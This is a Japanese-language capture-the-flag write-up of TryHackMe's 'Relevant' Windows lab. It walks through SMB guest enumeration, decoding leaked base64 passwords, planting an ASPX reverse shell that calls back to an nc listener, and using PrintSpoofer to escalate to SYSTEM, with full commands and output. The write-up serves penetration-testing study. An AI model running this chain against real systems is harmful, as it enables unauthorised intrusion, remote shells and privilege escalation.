itm4n

TryHackMe Writeup: Relevant はじめに この記事は、TryHackMeのwriteupです。 Roomは、Relevant、Difficulty（難易度）はMediumです。 このRoomでは、Windows環境における侵入テスト手法について学ぶことができます。 Recon Port Scan Scanned at 2026-09-19 17:53:03 JST for 77s PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services | ssl-cert: Subject: commonName=Relevant | Issuer: commonName=Relevant | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-09-18T08:50:54 | Not valid after: 2027-03-20T08:50:54 | MD5: 0d2f baff 9f1d ff6c 9375 91f7 c199 8af3 | SHA-1: 1afd d61f a923 ba61 2883 362b f897 d7d0 8b5d e400 | SHA-256: a3bb acfd 579f e60f d62b e1a7 6978 09ac 4b2f 04c2 dc42 423c 68b6 bfa4 7e0c 2181 | -----BEGIN CERTIFICATE----- | MIIC1DCCAbygAwIBAgIQM14sYMTkHKJET5fTxBxuezANBgkqhkiG9w0BAQsFADAT | MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNjA5MTgwODUwNTRaFw0yNzAzMjAwODUw | NTRaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A | MIIBCgKCAQEA/EXjYG1Opb8N0GG3V+FYuv0dCP4wGkz5NHuyLTqtegX5oB/JZsmY | /whiqSqSOcRezjvq0DgyRRgZrPfWJXR3uFUX0ow9/VsScTurSYEP28JR+buumCnN | ydOguGGRvfvthhDETLugq/u0oIuEw+qqKvVeAnEsM7LTxNR0C6Dy+tmXXlUNtTfM | peZQlMmbymN6RjVX4onugHyjiZX4O18Zd8P0hfPwgBfHwHLOB3iZpz892eCJMFcz | wXQC5SCJ0CYJlFu9mKLE1iTI4EPTpnm9oLm/WNWi2/mNd0QVz5atTUKh5bMt2vCF | 27vLrTVNxBJJepu4a7SX91LNOA8wBaxCTwIDAQABoyQwIjATBgNVHSUEDDAKBggr | BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAHHxddEwGSik | 2PcwhxqzB8ZzEbCD7CAuWACMrvHXYg9v5GxrA9cbYnZunBK1glg10Gfccc2pFfHt | fqo44iCKtUqFPrmbhGLgQLoDEc7lBcohO63kUrbqsLIu7eXy/KX61XHo8+rvA22U | eWjwpveyXCh6aLZKMa4PI/wTpGX8eWqnf/fw11WB8k1e9HCD2zUElSlskpNRT74i | EfFwSpouFvCfxIlXJS89upVTujdeHlyoBncHnI9Bj3Lrfjyg2waTAMYkiEWwOvEG | 04SRGdxtepwiswDYS+zcvh0UsnrmrLCnAS9NGK20ziEyeMWt+T/Zml9dq+0hRnc5 | T3cof+N5HKI= |_-----END CERTIFICATE----- |_ssl-date: 2026-09-19T08:54:19+00:00; -1s from scanner time. | rdp-ntlm-info: | Target_Name: RELEVANT | NetBIOS_Domain_Name: RELEVANT | NetBIOS_Computer_Name: RELEVANT | DNS_Domain_Name: Relevant | DNS_Computer_Name: Relevant | Product_Version: 10.0.14393 |_ System_Time: 2026-09-19T08:53:59+00:00 49663/tcp open http syn-ack Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-title: IIS Windows Server 49666/tcp open msrpc syn-ack Microsoft Windows RPC 49667/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: Host: RELEVANT; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-os-discovery: | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: Relevant | NetBIOS computer name: RELEVANT\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2026-09-19T01:54:02-07:00 | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 61829/tcp): CLEAN (Couldn't establish connection (TIMEOUT)) | Check 2 (port 23980/tcp): CLEAN (Couldn't establish connection (TIMEOUT)) | Check 3 (port 49221/udp): CLEAN (Couldn't receive bytes: TIMEOUT) | Check 4 (port 16340/udp): CLEAN (Couldn't receive bytes: TIMEOUT) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: mean: 1h23m59s, deviation: 3h07m51s, median: -1s | smb2-time: | date: 2026-09-19T08:54:01 |_ start_date: 2026-09-19T08:50:52 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required 上記のポートスキャン結果から調査を進めます。 Scanning 以下を中心に偵察します。 - 445/tcp (SMB) が開放されており、ゲストアカウントアクセスが許可されている可能性がある - Webサーバー（IIS 10.0）が 80/tcp だけでなく、高ポートの 49663/tcp でも動作している Samba Enumeration 以下のようにどのような共有ファイルが存在するのかを調査しました。 $ nxc smb [target_ip] -u '' -p '' --shares SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True) SMB [target_ip] 445 RELEVANT [-] Relevant\: STATUS_ACCESS_DENIED SMB [target_ip] 445 RELEVANT [-] Error enumerating shares: Error occurs while reading from remote(54) Guestユーザーでパスワードが空の場合、いくつか共有されているフォルダがあるようです。 $ nxc smb [target_ip] -u 'Guest' -p '' --shares SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True) SMB [target_ip] 445 RELEVANT [+] Relevant\Guest: SMB [target_ip] 445 RELEVANT [*] Enumerated shares SMB [target_ip] 445 RELEVANT Share Permissions Remark SMB [target_ip] 445 RELEVANT ----- ----------- ------ SMB [target_ip] 445 RELEVANT ADMIN$ Remote Admin SMB [target_ip] 445 RELEVANT C$ Default share SMB [target_ip] 445 RELEVANT IPC$ READ Remote IPC SMB [target_ip] 445 RELEVANT nt4wrksv READ,WRITE 以下のようにspider_plusを使用し、読み取り可能なすべての共有からすべてのファイルを一覧表示してダンプします。 netexec.wiki $ nxc smb [target_ip] -u 'Guest' -p '' -M spider_plus -o DOWNLOAD=True SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True) SMB [target_ip] 445 RELEVANT [+] Relevant\Guest: SPIDER_PLUS [target_ip] 445 RELEVANT [*] Started module spidering_plus with the following options: SPIDER_PLUS [target_ip] 445 RELEVANT [*] DOWNLOAD_FLAG: True SPIDER_PLUS [target_ip] 445 RELEVANT [*] STATS_FLAG: True SPIDER_PLUS [target_ip] 445 RELEVANT [*] EXCLUDE_FILTER: ['print$', 'ipc$'] SPIDER_PLUS [target_ip] 445 RELEVANT [*] EXCLUDE_EXTS: ['ico', 'lnk'] SPIDER_PLUS [target_ip] 445 RELEVANT [*] MAX_FILE_SIZE: 50 KB SPIDER_PLUS [target_ip] 445 RELEVANT [*] OUTPUT_FOLDER: /Users/rikuxx/.nxc/modules/nxc_spider_plus SMB [target_ip] 445 RELEVANT [*] Enumerated shares SMB [target_ip] 445 RELEVANT Share Permissions Remark SMB [target_ip] 445 RELEVANT ----- ----------- ------ SMB [target_ip] 445 RELEVANT ADMIN$ Remote Admin SMB [target_ip] 445 RELEVANT C$ Default share SMB [target_ip] 445 RELEVANT IPC$ READ Remote IPC SMB [target_ip] 445 RELEVANT nt4wrksv READ,WRITE SPIDER_PLUS [target_ip] 445 RELEVANT [+] Saved share-file metadata to "/Users/XXXXXXX/.nxc/modules/nxc_spider_plus/10.48.128.249.json". SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Shares: 4 (ADMIN$, C$, IPC$, nt4wrksv) SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Readable Shares: 2 (IPC$, nt4wrksv) SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Writable Shares: 1 (nt4wrksv) SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Filtered Shares: 1 SPIDER_PLUS [target_ip] 445 RELEVANT [*] Total folders found: 0 SPIDER_PLUS [target_ip] 445 RELEVANT [*] Total files found: 1 SPIDER_PLUS [target_ip] 445 RELEVANT [*] File size average: 98 B SPIDER_PLUS [target_ip] 445 RELEVANT [*] File size min: 98 B SPIDER_PLUS [target_ip] 445 RELEVANT [*] File size max: 98 B SPIDER_PLUS [target_ip] 445 RELEVANT [*] File unique exts: 1 (txt) SPIDER_PLUS [target_ip] 445 RELEVANT [*] Downloads successful: 1 SPIDER_PLUS [target_ip] 445 RELEVANT [+] All files processed successfully. 中にはpassword.txtという重要そうなファイルがありました。 $ cat /Users/XXXXXXX/.nxc/modules/nxc_spider_plus/[target_ip].json { "nt4wrksv": { "passwords.txt": { "atime_epoch": "2020-07-26 00:13:05", "ctime_epoch": "2020-07-26 00:13:05", "mtime_epoch": "2020-07-26 00:35:44", "size": "98 B" } } }% ダウンロード後、閲覧します。 $ cat passwords.txt [User Passwords - Encoded] Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk% すると、二つのbase64でエンコードされた文字列があります。 実際にデコードすると、Bob、Billのパスワードを取得することができます。 $ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d Bob - !P@$$W0rD!123% $ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d Bill - Juw4nnaM4n420696969!$$$% 以下のように検証したところ、特に見つかりません。 $ nxc smb [target_ip] -u 'Bob' -p '!P@$$W0rD!123' SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True) SMB [target_ip] 445 RELEVANT [+] Relevant\Bob:!P@$$W0rD!123 $ nxc smb 10.48.128.249 -u 'Bill' -p 'Juw4nnaM4n420696969!$$$' SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True) SMB [target_ip] 445 RELEVANT [+] Relevant\Bill:Juw4nnaM4n420696969!$$$ (Guest) Exploitation ASPX Reverse Shell 以下のように、先ほどのpassword.txtは配信されているようです。 $ curl -i http://[target_ip]:49663/nt4wrksv/passwords.txt HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Sat, 25 Jul 2020 15:15:33 GMT Accept-Ranges: bytes ETag: "65e151719662d61:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sat, 19 Sep 2026 13:46:12 GMT Content-Length: 98 [User Passwords - Encoded] Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk% また、認証済みのユーザー(Bob 等)を使用し、smbclinet経由で書き込みが可能なようです。 $ echo 'rikuxx-test' > test.txt $ smbclient //[target_ip]/nt4wrksv \ -U 'Bob%!P@$$W0rD!123' \ -c 'put test.txt; ls' Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it putting file test.txt as \test.txt (0.0 kB/s) (average 0.0 kB/s) . D 0 Sat Sep 19 22:49:47 2026 .. D 0 Sat Sep 19 22:49:47 2026 passwords.txt A 98 Sun Jul 26 00:15:33 2020 test.txt A 12 Sat Sep 19 22:49:47 2026 7735807 blocks of size 4096. 5098564 blocks available また、.aspxの拡張子を持つファイルも書き込めることがわかります。 $ nano probe.aspx $ smbclient //[target_ip]/nt4wrksv \ -U 'Bob%!P@$$W0rD!123' \ -c 'put probe.aspx' Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it putting file probe.aspx as \probe.aspx (0.2 kB/s) (average 0.2 kB/s) (.venv) rikuxx@RikunoMacBook-Air Relevant % curl -i http://10.48.128.249:49663/nt4wrksv/probe.aspx HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 19 Sep 2026 13:53:37 GMT Content-Length: 12 aspx-exec-ok% つまり、これはWindows環境であるため、ASPXファイルを任意コード実行することができそうです。 以下のリバースシェルスクリプトを使用します。 borjmz/aspx-reverse-shell 攻撃者のIPアドレスに変更後、同様に書き込みます。 $ nano shell.aspx $ smbclient //[target_ip]/nt4wrksv \ -U 'Bob%!P@$$W0rD!123' \ -c 'put shell.aspx' Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it putting file shell.aspx as \shell.aspx (28.7 kB/s) (average 28.7 kB/s) 実際に、リバースシェルを実行します。 - ターゲットホスト側 $ curl -i http://[target_ip]:49663/nt4wrksv/shell.aspx - 攻撃者のリッスン側 rikuxx@RikunoMacBook-Air ~ % nc -l [MY_IP] 1234 Spawn Shell... Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv> すると、リバースシェルに成功してしまいます。 c:\Users\Bob\Desktopの中にあるuser.txtからユーザーフラグを取得することができます。 c:\Users\Bob\Desktop>type user.txt type user.txt THM{XXXXXXXXXXXXXXXXXXXXXXX} >User Flag >Answer: THM{XXXXXXXXXXXXXXXXXXXXXXX} Privilege Escalation PrintSpoofer Exploitation 以下のように権限昇格につながる不備を探します。 c:\Users\Bob\Desktop>whoami whoami iis apppool\defaultapppool c:\Users\Bob\Desktop>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled c:\Users\Bob\Desktop>whoami /groups whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ==================================== ================ ============ ================================================== Mandatory Label\High Mandatory Level Label S-1-16-12288 Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group c:\Users\Bob\Desktop>systeminfo systeminfo Host Name: RELEVANT OS Name: Microsoft Windows Server 2016 Standard Evaluation OS Version: 10.0.14393 N/A Build 14393 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00378-00000-00000-AA739 Original Install Date: 7/25/2020, 7:56:59 AM System Boot Time: 9/19/2026, 6:27:14 AM System Manufacturer: Amazon EC2 System Model: t3a.nano System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2200 Mhz BIOS Version: Amazon EC2 1.0, 10/16/2017 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-08:00) Pacific Time (US & Canada) Total Physical Memory: 492 MB Available Physical Memory: 42 MB Virtual Memory: Max Size: 1,516 MB Virtual Memory: Available: 498 MB Virtual Memory: In Use: 1,018 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: N/A Hotfix(s): 3 Hotfix(s) Installed. [01]: KB3192137 [02]: KB3211320 [03]: KB3213986 Network Card(s): 1 NIC(s) Installed. [01]: Amazon Elastic Network Adapter Connection Name: Ethernet 3 DHCP Enabled: Yes DHCP Server: 10.48.128.1 IP address(es) [01]: 10.48.128.249 [02]: fe80::4dea:e831:d10a:ba6e Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. これは、かなり分かりやすいです。SeImpersonatePrivilegeがEnabledになっています。 現在のシェルは Bob ではなく、 iis apppool\defaultapppool で動いていて、さらに SeImpersonatePrivilege Enabled があります。Windows Server 2016 / IIS AppPool という組み合わせなので、PrintSpoofer 系のローカル権限昇格を狙える可能性があります。 特にこの環境なら、まず PrintSpoofer を試すのがシンプルなので、THM のラボの場合、バイナリを nt4wrksv 経由でおいても良さそうです。 まず、PrintSpoofer64.exeをダウンロードしてきます。 $ curl -LO https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 27136 100 27136 0 0 46082 0 --:--:-- --:--:-- --:--:-- 46082 実際にホスト側にPrintSpoofer64.exeを転送します。 $ smbclient //[target_ip]/nt4wrksv \ -U 'Bob%!P@$$W0rD!123' \ -c 'put PrintSpoofer64.exe' Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it putting file PrintSpoofer64.exe as \PrintSpoofer64.exe (51.1 kB/s) (average 51.1 kB/s) しっかり転送されたことがわかります。 c:\Users\Bob\Desktop>where /r C:\ PrintSpoofer64.exe where /r C:\ PrintSpoofer64.exe C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe 以下のように実行することで権限昇格することが可能です。 c:\Users\Bob\Desktop>C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe -i -c cmd C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Users\Administrator\Desktopのroot.txtでルートフラグを取得することができます。 C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is AC3C-5CB5 Directory of C:\Users\Administrator\Desktop 07/25/2020 08:24 AM <DIR> . 07/25/2020 08:24 AM <DIR> .. 07/25/2020 08:25 AM 35 root.txt 1 File(s) 35 bytes 2 Dir(s) 20,883,652,608 bytes free C:\Users\Administrator\Desktop>type root.txt type root.txt THM{YYYYYYYYYYYYYYYYYYYYYYYYYYY} >Root Flag >Answer: THM{YYYYYYYYYYYYYYYYYYYYYYYYYYY} 終わり 今回は、Windows環境における侵入テスト手法について学ぶことができるラボについて、解きました。 割とWindows系のBoot2Root系では比較的、控えめな印象がありました。 Tips Printer Bug Exploitation 以下のように、Windowsの印刷スプーラーサービス（Print Spooler）の仕様を悪用し、ローカルの低い権限から最高権限である SYSTEM 権限へと昇格させる ためのオープンソースの攻撃・検証用ツールが公開されています。 itm4n.github.io itm4n/printspoofer SeImpersonatePrivilegeによる設定不備から生じる権限昇格について 以下にチートシートもあるため、ご参考になるブログもあります。 qiita.com hacktricks.wiki 今回のラボのケースでは、SeImpersonatePrivilegeがEnabledになっているだけで - Juicy Potato - PrintSpoofer - RoguePotato などで SYSTEM昇格可能だということを覚えておくと良さそうです。 　 ご参考になると幸いです。